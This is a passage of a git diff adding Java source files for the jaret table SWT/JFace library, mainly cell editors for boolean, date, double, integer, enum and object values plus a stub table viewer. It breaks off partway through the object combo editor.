true); + } + + public void dispose() { + if (_headerRenderer != null) { + _headerRenderer.dispose(); + } + } +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/JaretTableViewer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/JaretTableViewer.java new file mode 100644 index 0000000..3020bf7 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/JaretTableViewer.java @@ -0,0 +1,80 @@ +/* + * File: JaretTableViewer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table; + +import java.util.List; + +import org.eclipse.jface.viewers.StructuredViewer; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Widget; + +/** + * JFace Structured viewer for the jaret table (minimal implementation). + * + * @author Peter Kliem + * @version $Id: JaretTableViewer.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class JaretTableViewer extends StructuredViewer { + protected JaretTable _table; + + public JaretTableViewer(JaretTable table) { + _table = table; + } + + @Override + protected Widget doFindInputItem(Object element) { + // TODO Auto-generated method stub + return null; + } + + @Override + protected Widget doFindItem(Object element) { + // TODO Auto-generated method stub + return null; + } + + @Override + protected void doUpdateItem(Widget item, Object element, boolean fullMap) { + // TODO Auto-generated method stub + + } + + @Override + protected List getSelectionFromWidget() { + // TODO Auto-generated method stub + return null; + } + + @Override + protected void internalRefresh(Object element) { + // TODO Auto-generated method stub + + } + + @Override + public void reveal(Object element) { + // TODO Auto-generated method stub + + } + + @Override + protected void setSelectionToWidget(List l, boolean reveal) { + // TODO Auto-generated method stub + + } + + @Override + public Control getControl() { + // TODO Auto-generated method stub + return null; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/BooleanCellEditor.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/BooleanCellEditor.java new file mode 100644 index 0000000..18fb828 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/BooleanCellEditor.java @@ -0,0 +1,103 @@ +/* + * File: BooleanCellEditor.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.editor; + +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Control; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * BooleanCellEditor is not a real editor. It toggles on double click, optional on click and on a typed SPACE. + * + * @author Peter Kliem + * @version $Id: BooleanCellEditor.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class BooleanCellEditor extends CellEditorBase implements ICellEditor { + /** single clickk attribute: if true react on single clicks. */ + protected boolean _singleClick = false; + + /** + * Default constructor. + * + */ + public BooleanCellEditor() { + } + + /** + * Constructor including the singelClick property. + * + * @param singleClick if true the editor will react on single clicks in the cell + */ + public BooleanCellEditor(boolean singleClick) { + _singleClick = singleClick; + } + + /** + * {@inheritDoc} + */ + public Control getEditorControl(JaretTable table, IRow row, IColumn column, char typedKey) { + if (typedKey == ' ') { + toggle(row, column); + } else if (typedKey == 0) { + toggle(row, column); + } + return null; + } + + /** + * {@inheritDoc} + */ + public void stopEditing(boolean storeInput) { + // nothing to do + } + + /** selection area width and height. */ + private static final int SELECTION_DELTA = 16; + + /** + * {@inheritDoc} + */ + public boolean handleClick(JaretTable table, IRow row, IColumn column, Rectangle drawingArea, int x, int y) { + if (_singleClick) { + Rectangle rect = new Rectangle(drawingArea.x + (drawingArea.width - SELECTION_DELTA) / 2, drawingArea.y + + (drawingArea.height - SELECTION_DELTA) / 2, SELECTION_DELTA, SELECTION_DELTA); + if (rect.contains(x, y)) { + toggle(row, column); + return true; + } + } + return false; + } + + /** + * Toggle the boolean value. + * + * @param row row of the cell + * @param column column of the cell + */ + private void toggle(IRow row, IColumn column) { + Object value = column.getValue(row); + if (value instanceof Boolean) { + column.setValue(row, ((Boolean) value).booleanValue() ? Boolean.FALSE : Boolean.TRUE); + } + } + + /** + * {@inheritDoc} + */ + public void dispose() { + super.dispose(); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/CellEditorBase.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/CellEditorBase.java new file mode 100644 index 0000000..c70459d --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/CellEditorBase.java @@ -0,0 +1,72 @@ +/* + * File: CellEditorBase.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.editor; + +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Control; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Abstract base implementation for ICellEditors for the jaret table. + * + * @author Peter Kliem + * @version $Id: CellEditorBase.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public abstract class CellEditorBase implements ICellEditor { + + /** member storing the last requested row. */ + protected IRow _row; + /** member storing the last requested column. */ + protected IColumn _column; + /** member storing the requesting table. */ + protected JaretTable _table; + + /** + * {@inheritDoc} Base implementation storing the table and row/col information. + */ + public Control getEditorControl(JaretTable table, IRow row, IColumn column, char typedKey) { + _table = table; + _row = row; + _column = column; + + return null; + } + + /** + * {@inheritDoc} + */ + public void dispose() { + // help the garbage collector + _table = null; + _column = null; + _row = null; + + } + + /** + * {@inheritDoc} default will always return -1. + */ + public int getPreferredHeight() { + return -1; + } + + /** + * {@inheritDoc} + */ + public boolean handleClick(JaretTable table, IRow row, IColumn column, Rectangle drawingArea, int x, int y) { + // no action on single click + return false; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/DateCellEditor.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/DateCellEditor.java new file mode 100644 index 0000000..f96e722 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/DateCellEditor.java @@ -0,0 +1,229 @@ +/* + * File: DateCellEditor.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.editor; + +import java.util.Calendar; +import java.util.Date; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.events.TraverseEvent; +import org.eclipse.swt.events.TraverseListener; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.date.JaretDate; +import de.jaret.util.ui.datechooser.DateChooser; +import de.jaret.util.ui.datechooser.IDateChooserListener; +import de.jaret.util.ui.datechooser.IFieldIdentifier; +import de.jaret.util.ui.datechooser.SimpleFieldIdentifier; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Cell editor for editing dates using the jaret datechooser. Supports java.util.date and JaretDate. The fieldidentifier + * used for the datechooser (see Javadoc there) is not locale dependant (Day/Month/year) have to be changed when used in + * another country (or removed!). + *

    + * Key bindings: TAB and CR will leave the datechooser (positive). ESC will leave the chooser resetting the date to the + * value present when editing started. + *

    + * + * @author Peter Kliem + * @version $Id: DateCellEditor.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class DateCellEditor extends CellEditorBase implements ICellEditor, IDateChooserListener, FocusListener { + /** chooser component. */ + protected DateChooser _chooser; + + /** old java.util.Date val if present. */ + protected Date _oldVal; + /** old JaretDate value if present. */ + protected JaretDate _oldJaretDateVal; + + /** true if jaretdate is used. */ + private boolean _jaretDate; + + /** + * Create the chooser control. + * + * @param table parent table. + */ + private void createControl(JaretTable table) { + _table = table; + if (_chooser == null) { + _chooser = new DateChooser(table, SWT.NULL); + // TODO locale dependent + IFieldIdentifier fi = new SimpleFieldIdentifier(".", new int[] {Calendar.DAY_OF_MONTH, Calendar.MONTH, + Calendar.YEAR}); + _chooser.setFieldIdentifier(fi); + _chooser.setSelectAllOnFocusGained(false); + _chooser.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_WHITE)); + _chooser.addFocusListener(this); + _chooser.addDateChooserListener(this); + + _chooser.getTextField().addKeyListener(new KeyListener() { + public void keyPressed(KeyEvent event) { + if (event.keyCode == SWT.TAB) { + _chooser.validateInput(); + stopEditing(true); + event.doit = false; // do not further process + _table.forceFocus(); + _table.focusRight(); + } else if (event.keyCode == SWT.CR) { + _chooser.validateInput(); + stopEditing(true); + event.doit = false; // do not further process + _table.forceFocus(); + _table.focusDown(); + } else if (event.keyCode == SWT.ESC) { + stopEditing(false); + restoreOldVal(); + event.doit = false; // do not further process + _table.forceFocus(); + } + } + + public void keyReleased(KeyEvent e) { + } + }); + + // add a traverse listener so the TAB-key won't traverse the focus out of the table + _chooser.getTextField().addTraverseListener(new TraverseListener() { + public void keyTraversed(TraverseEvent e) { + e.doit = false; + } + + }); + } + } + + /** + * {@inheritDoc} + */ + public Control getEditorControl(JaretTable table, IRow row, IColumn column, char typedKey) { + super.getEditorControl(table, row, column, typedKey); + createControl(table); + if (column.getValue(row) instanceof Date) { + _oldVal = (Date) column.getValue(row); + _jaretDate = false; + } else if (column.getValue(row) instanceof JaretDate) { + _oldVal = ((JaretDate) column.getValue(row)).getDate(); + _oldJaretDateVal = (JaretDate) column.getValue(row); + _jaretDate = true; + } + if (typedKey != 0) { + _chooser.setText("" + typedKey); + _chooser.setSelection(1); + } else { + _chooser.setDate(_oldVal); + } + _row = row; + _column = column; + + return _chooser; + } + + /** + * Restore date from the the beginning of the edit action. + * + */ + private void restoreOldVal() { + if (!_jaretDate) { + _column.setValue(_row, _oldVal); + } else { + _column.setValue(_row, _oldJaretDateVal); + } + } + + /** + * {@inheritDoc} + */ + public void stopEditing(boolean storeInput) { + if (storeInput) { + storeValue(); + } + _chooser.setDropped(false); + _chooser.setVisible(false); + } + + /** + * Store the value in the model. + * + */ + private void storeValue() { + if (!_jaretDate) { + _column.setValue(_row, _chooser.getDate()); + } else { + _column.setValue(_row, new JaretDate(_chooser.getDate())); + } + } + + /** + * {@inheritDoc} + */ + public void dispose() { + if (_chooser != null && !_chooser.isDisposed()) { + _chooser.removeFocusListener(this); + _chooser.dispose(); + } + // help the garbage collector + _table = null; + _column = null; + _row = null; + } + + /** + * {@inheritDoc} If the users choses a date, stop editing an store the chosen date. + */ + public void dateChosen(Date date) { + // if a date has been chosen in the datechooser stop editing immediately + stopEditing(true); + _table.forceFocus(); + } + + /** + * {@inheritDoc} No Action on intermediate changes in the chooser. + */ + public void dateIntermediateChange(Date date) { + } + + /** + * {@inheritDoc} When the chooser tells us the user canceled the editing, restore the old date. + */ + public void choosingCanceled() { + _chooser.setDate(_oldVal); + } + + /** + * {@inheritDoc} nothing to do. + */ + public void inputInvalid() { + } + + /** + * {@inheritDoc} Do nothing on focus gained. + */ + public void focusGained(FocusEvent e) { + } + + /** + * {@inheritDoc} When loosing focus, stop the editing and store the value. + */ + public void focusLost(FocusEvent e) { + _table.stopEditing(true); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/DoubleCellEditor.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/DoubleCellEditor.java new file mode 100644 index 0000000..be8beb7 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/DoubleCellEditor.java @@ -0,0 +1,188 @@ +/* + * File: DoubleCellEditor.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.editor; + +import java.text.ParseException; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Text; + +import de.jaret.util.ui.DoubleField; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Cell Editor for editing double values. + *

    + * Key bindings: CR, TAB: accept input and leave, ESC leave and reset to value when starting editing. Cursor up/down + * will roll the value. + *

    + * + * @author Peter Kliem + * @version $Id: DoubleCellEditor.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class DoubleCellEditor extends CellEditorBase implements ICellEditor, FocusListener { + /** text control wrapped by the doublefield. */ + protected Text _text; + /** old value for restauration. */ + protected double _oldVal; + /** doublefield managing the input. */ + protected DoubleField _doubleField; + + /** + * Default constructor. + */ + public DoubleCellEditor() { + } + + /** + * Convert the value retrieved from the model. + * + * @param row row of the cell + * @param column column of the cell + * @return double value (defaulting to 0.0) + */ + protected double convertValue(IRow row, IColumn column) { + Object value = column.getValue(row); + return value != null ? (Double) value : 0.0; + } + + /** + * Store the value in the model. If any error occurs, it will be silently ignored! + * + * @param row row + * @param column column + */ + protected void storeValue(IRow row, IColumn column) { + double value; + try { + value = _doubleField.getValue(); + _column.setValue(_row, value); + } catch (ParseException e) { + // ignore + } + } + + /** + * Create and setup the control. + * + * @param table parent for the control + */ + private void createControl(JaretTable table) { + if (_text == null) { + _table = table; + _text = new Text(table, SWT.BORDER | SWT.RIGHT); + _doubleField = new DoubleField(); + _doubleField.setText(_text); + + _text.addKeyListener(new KeyListener() { + + public void keyPressed(KeyEvent event) { + if (event.keyCode == SWT.TAB) { + event.doit = false; + stopEditing(true); + _table.forceFocus(); + _table.focusRight(); + } else if (event.keyCode == SWT.CR) { + event.doit = false; + stopEditing(true); + _table.forceFocus(); + _table.focusDown(); + } else if (event.keyCode == SWT.ESC) { + event.doit = false; + stopEditing(false); + _column.setValue(_row, _oldVal); + _table.forceFocus(); + } + } + + public void keyReleased(KeyEvent arg0) { + } + + }); + + _text.addFocusListener(this); + } + } + + /** + * {@inheritDoc} + */ + public Control getEditorControl(JaretTable table, IRow row, IColumn column, char typedKey) { + super.getEditorControl(table, row, column, typedKey); + createControl(table); + _oldVal = convertValue(row, column); + if (typedKey != 0) { + _text.setText("" + typedKey); + _text.setSelection(1); + } else { + double value = convertValue(row, column); + _doubleField.setValue(value); + _text.selectAll(); + } + return _text; + } + + /** + * {@inheritDoc} + */ + public int getPreferredHeight() { + if (_text == null) { + return -1; + } + Point size = _text.computeSize(SWT.DEFAULT, SWT.DEFAULT); + return size.y; + } + + /** + * {@inheritDoc} do nothing. + */ + public void focusGained(FocusEvent arg0) { + } + + /** + * {@inheritDoc} On losing focus store the value. + */ + public void focusLost(FocusEvent arg0) { + _table.stopEditing(true); + } + + /** + * {@inheritDoc} + */ + public void dispose() { + super.dispose(); + if (_text != null && !_text.isDisposed()) { + _doubleField.setText(null); + _text.removeFocusListener(this); + _text.dispose(); + } + + } + + /** + * {@inheritDoc} + */ + public void stopEditing(boolean storeInput) { + if (storeInput) { + storeValue(_row, _column); + } + _text.setVisible(false); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/EnumComboEditor.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/EnumComboEditor.java new file mode 100644 index 0000000..8e7780f --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/EnumComboEditor.java @@ -0,0 +1,154 @@ +/* + * File: EnumComboEditor.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.editor; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Control; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Editor for a field with an enum as type. Naturally uses a combobox. + * + * @author Peter Kliem + * @version $Id: EnumComboEditor.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class EnumComboEditor extends CellEditorBase implements ICellEditor, FocusListener { + /** combobox widget. */ + protected Combo _combo; + /** old value. */ + protected Object _oldVal; + /** list of selectable items in the combobox. */ + protected Object[] _items; + + /** + * {@inheritDoc} + */ + public Control getEditorControl(JaretTable table, IRow row, IColumn column, char typedKey) { + super.getEditorControl(table, row, column, typedKey); + + _items = new Object[] {}; + + if (_combo == null) { + _combo = new Combo(table, SWT.BORDER | SWT.READ_ONLY); + _combo.addKeyListener(new KeyListener() { + + public void keyPressed(KeyEvent event) { + if (event.keyCode == SWT.TAB) { + event.doit = false; + stopEditing(true); + _table.forceFocus(); + _table.focusRight(); + } else if (event.keyCode == SWT.CR) { + event.doit = false; + stopEditing(true); + _table.forceFocus(); + _table.focusDown(); + } else if (event.keyCode == SWT.ESC) { + event.doit = false; + stopEditing(false); + _column.setValue(_row, _oldVal); + _table.forceFocus(); + } + } + + public void keyReleased(KeyEvent arg0) { + } + + }); + _combo.addFocusListener(this); + + } + Class clazz = column.getContentClass(row); + + if (clazz != null && Enum.class.isAssignableFrom(clazz)) { + _items = clazz.getEnumConstants(); + } else { + _items = new Object[] {}; + } + + Object value = column.getValue(row); + _oldVal = value; + + int selIdx = -1; + String[] stringItems = new String[_items.length]; + for (int i = 0; i < _items.length; i++) { + stringItems[i] = _items[i].toString(); + if (value != null && value.equals(_items[i])) { + selIdx = i; + } + } + _combo.setItems(stringItems); + + if (selIdx != -1) { + _combo.select(selIdx); + } + + return _combo; + } + + /** + * {@inheritDoc} + */ + public void stopEditing(boolean storeInput) { + if (storeInput) { + int selIdx = _combo.getSelectionIndex(); + Object selection = null; + if (selIdx != -1) { + selection = _items[selIdx]; + } + _column.setValue(_row, selection); + } + _combo.setVisible(false); + } + + /** + * {@inheritDoc} + */ + public void dispose() { + super.dispose(); + if (_combo != null && !_combo.isDisposed()) { + _combo.dispose(); + } + } + + /** + * {@inheritDoc} Do nothing on gaining focus. + */ + public void focusGained(FocusEvent arg0) { + } + + /** + * {@inheritDoc} Stop editing and store the value. + */ + public void focusLost(FocusEvent arg0) { + stopEditing(true); + } + + /** + * {@inheritDoc} + */ + public int getPreferredHeight() { + if (_combo != null) { + Point size = _combo.computeSize(SWT.DEFAULT, SWT.DEFAULT); + return size.y; + } + return -1; + } +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/ICellEditor.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/ICellEditor.java new file mode 100644 index 0000000..248e31b --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/ICellEditor.java @@ -0,0 +1,77 @@ +/* + * File: ICellEditor.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.editor; + +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Control; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Interface for a cell editor to be used in the jaret table. + * + * @author Peter Kliem + * @version $Id: ICellEditor.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public interface ICellEditor { + /** + * Provide the Control for editing the value at row/column. Important: make shure _not_ to create a new + * control with every call! + *

    + * This method may return null indicating that the editor will not supply a control. + *

    + * + * @param table the table requesting the editor + * @param row row + * @param column column + * @param typedKey the character typed when invoking the editor (may be 0 if the editor was invoked without typing + * any key) + * @return configured Control (parent has to be the table) + */ + Control getEditorControl(JaretTable table, IRow row, IColumn column, char typedKey); + + /** + * End editing. + * + * @param storeInput if true the editor shall save the current input. + */ + void stopEditing(boolean storeInput); + + /** + * Handle a click on the cell. This could handle the whole edit for single click editors. The return value controls + * whether the click will be used for regular selection after handling. + * + * @param table the jaret table calling + * @param row row + * @param column column + * @param drawingArea the rectangle of the cell + * @param x clicked coordinate x + * @param y clicked coordinate y + * @return true if the click has been handled + */ + boolean handleClick(JaretTable table, IRow row, IColumn column, Rectangle drawingArea, int x, int y); + + /** + * Dispose whatever resouces have been allocated. + * + */ + void dispose(); + + /** + * If the renderer *wishes* to be sized not the height of the cell, this method may be used to announce the + * preferred height of the control. A value of -1 signals no preference. + * + * @return preferred height or -1 for no preference. + */ + int getPreferredHeight(); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/IntegerCellEditor.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/IntegerCellEditor.java new file mode 100644 index 0000000..01265a4 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/IntegerCellEditor.java @@ -0,0 +1,190 @@ +/* + * File: IntegerCellEditor.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.editor; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.events.TraverseEvent; +import org.eclipse.swt.events.TraverseListener; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Spinner; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Cell Editor for editing integer values using a spinner widget. Well it seems that the Spinner does not support + * negative values ... + * + * Key bindings: CR, TAB: accept input and leave, ESC leave and reset to value when starting editing + *

    + * + * @author Peter Kliem + * @version $Id: IntegerCellEditor.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class IntegerCellEditor extends CellEditorBase implements ICellEditor, FocusListener { + /** spinner widgrt. */ + protected Spinner _spinner; + + /** old value. */ + private int _oldVal; + + /** min value that can be selected. */ + private int _min = Integer.MIN_VALUE; + /** max value that can be selected. */ + private int _max = Integer.MAX_VALUE; + + /** + * Construct an integer cell renderer with given min and max values. + * + * @param min minimal value + * @param max maximum value + */ + public IntegerCellEditor(int min, int max) { + _min = min; + _max = max; + } + + /** + * Default construcor. + * + */ + public IntegerCellEditor() { + } + + protected int convertValue(IRow row, IColumn column) { + Object value = column.getValue(row); + return value != null ? (Integer) value : 0; + } + + protected void storeValue(IRow row, IColumn column) { + Integer value = _spinner.getSelection(); + _column.setValue(_row, value); + } + + /** + * Create the control. + * + * @param table parent table + */ + private void createControl(JaretTable table) { + if (_spinner == null) { + _table = table; + _spinner = new Spinner(table, SWT.BORDER); + + _spinner.setMaximum(_max); + _spinner.setMinimum(_min); + + _spinner.addTraverseListener(new TraverseListener() { + public void keyTraversed(TraverseEvent e) { + e.doit = false; + } + }); + + _spinner.addKeyListener(new KeyListener() { + public void keyPressed(KeyEvent event) { + if (event.keyCode == SWT.TAB) { + event.doit = false; + stopEditing(true); + _table.forceFocus(); + _table.focusRight(); + } else if (event.keyCode == SWT.CR) { + event.doit = false; + stopEditing(true); + _table.forceFocus(); + _table.focusDown(); + } else if (event.keyCode == SWT.ESC) { + event.doit = false; + stopEditing(false); + _column.setValue(_row, _oldVal); + _table.forceFocus(); + } + + } + + public void keyReleased(KeyEvent arg0) { + } + + }); + + _spinner.addFocusListener(this); + } + } + + /** + * {@inheritDoc} + */ + public Control getEditorControl(JaretTable table, IRow row, IColumn column, char typedKey) { + super.getEditorControl(table, row, column, typedKey); + createControl(table); + _oldVal = (Integer) column.getValue(row); + if (false && typedKey != 0) { + // _spinner.setsetText("" + typedKey); + // _text.setSelection(1); + } else { + int value = convertValue(row, column); + _spinner.setSelection(value); + } + return _spinner; + } + + /** + * {@inheritDoc} + */ + public int getPreferredHeight() { + if (_spinner == null) { + return -1; + } + Point size = _spinner.computeSize(SWT.DEFAULT, SWT.DEFAULT); + return size.y; + } + + /** + * {@inheritDoc} Do nothing on gaining focus. + */ + public void focusGained(FocusEvent arg0) { + } + + /** + * {@inheritDoc} Stop and strore when focus leaves. + */ + public void focusLost(FocusEvent arg0) { + _table.stopEditing(true); + } + + /** + * {@inheritDoc} + */ + public void dispose() { + super.dispose(); + if (_spinner != null && !_spinner.isDisposed()) { + _spinner.removeFocusListener(this); + _spinner.dispose(); + } + + } + + /** + * {@inheritDoc} + */ + public void stopEditing(boolean storeInput) { + if (storeInput) { + storeValue(_row, _column); + } + _spinner.setVisible(false); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/ObjectComboEditor.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/ObjectComboEditor.java new file mode 100644 index 0000000..3fdbe4f --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/ObjectComboEditor.java @@ -0,0 +1,251 @@ +/* + * File: ObjectComboEditor.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.editor; + +import java.util.List; + +import org.eclipse.jface.viewers.ILabelProvider; +import org.eclipse.jface.viewers.ILabelProviderListener; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Control; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Editor using a ComboBox for selecting one of several objects supplied to the editor at creation time. A label + * provider is used for toString conversion. + * + * @author Peter Kliem + * @version $Id: ObjectComboEditor.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class ObjectComboEditor extends CellEditorBase implements ICellEditor, FocusListener { + /** combox widget. */ + protected Combo _combo; + /** old value. */ + protected Object _oldVal; + /** list of items displayed. */ + protected String[] _stringItems; + /** label provider used. */ + protected ILabelProvider _labelProvider; + /** if true allow null as a possible selection. */ + protected boolean _allowNull = true; + /** the text displayed for null. */ + protected String _nullText = ""; + /** object list for selection. */ + protected List _itemList; + + /** + * Construct a new ObjectComboEditor with a list of selectabel Objects and an ILabelprovider. + * + * @param list list of Objects that may be selected. + * @param labelProvider label provider to be used or null. In the latter case a simple toString + * label provider will be used. + * @param allowNull if true null will always be a possible value in the comboBox + * @param nullText string to be displyed for the null value if allowed + */ + public ObjectComboEditor(List list, ILabelProvider labelProvider, boolean allowNull, + String nullText) { + _labelProvider = labelProvider; + if (_labelProvider == null) { + _labelProvider = new ToStringLabelProvider(); + } + _allowNull = allowNull; + _nullText = nullText; + _itemList = list; + + if (_itemList != null) { + initItems(); + } + + } + + protected void initItems() { + _stringItems = _allowNull ? new String[_itemList.size() + 1] : new String[_itemList.size()]; + + int i = 0; + if (_allowNull) { + _stringItems[0] = _nullText; + i = 1; + } + + for (Object o : _itemList) { + _stringItems[i++] = _labelProvider.getText(o); + } + } + + /** + * {@inheritDoc} + */ + public Control getEditorControl(JaretTable table, IRow row, IColumn column, char typedKey) { + super.getEditorControl(table, row, column, typedKey); + + if (_combo == null) { + _combo = new Combo(table, SWT.BORDER | SWT.READ_ONLY); + _combo.addKeyListener(new KeyListener() { + + public void keyPressed(KeyEvent event) { + if (event.keyCode == SWT.TAB) { + event.doit = false; + stopEditing(true); + _table.forceFocus(); + _table.focusRight(); + } else if 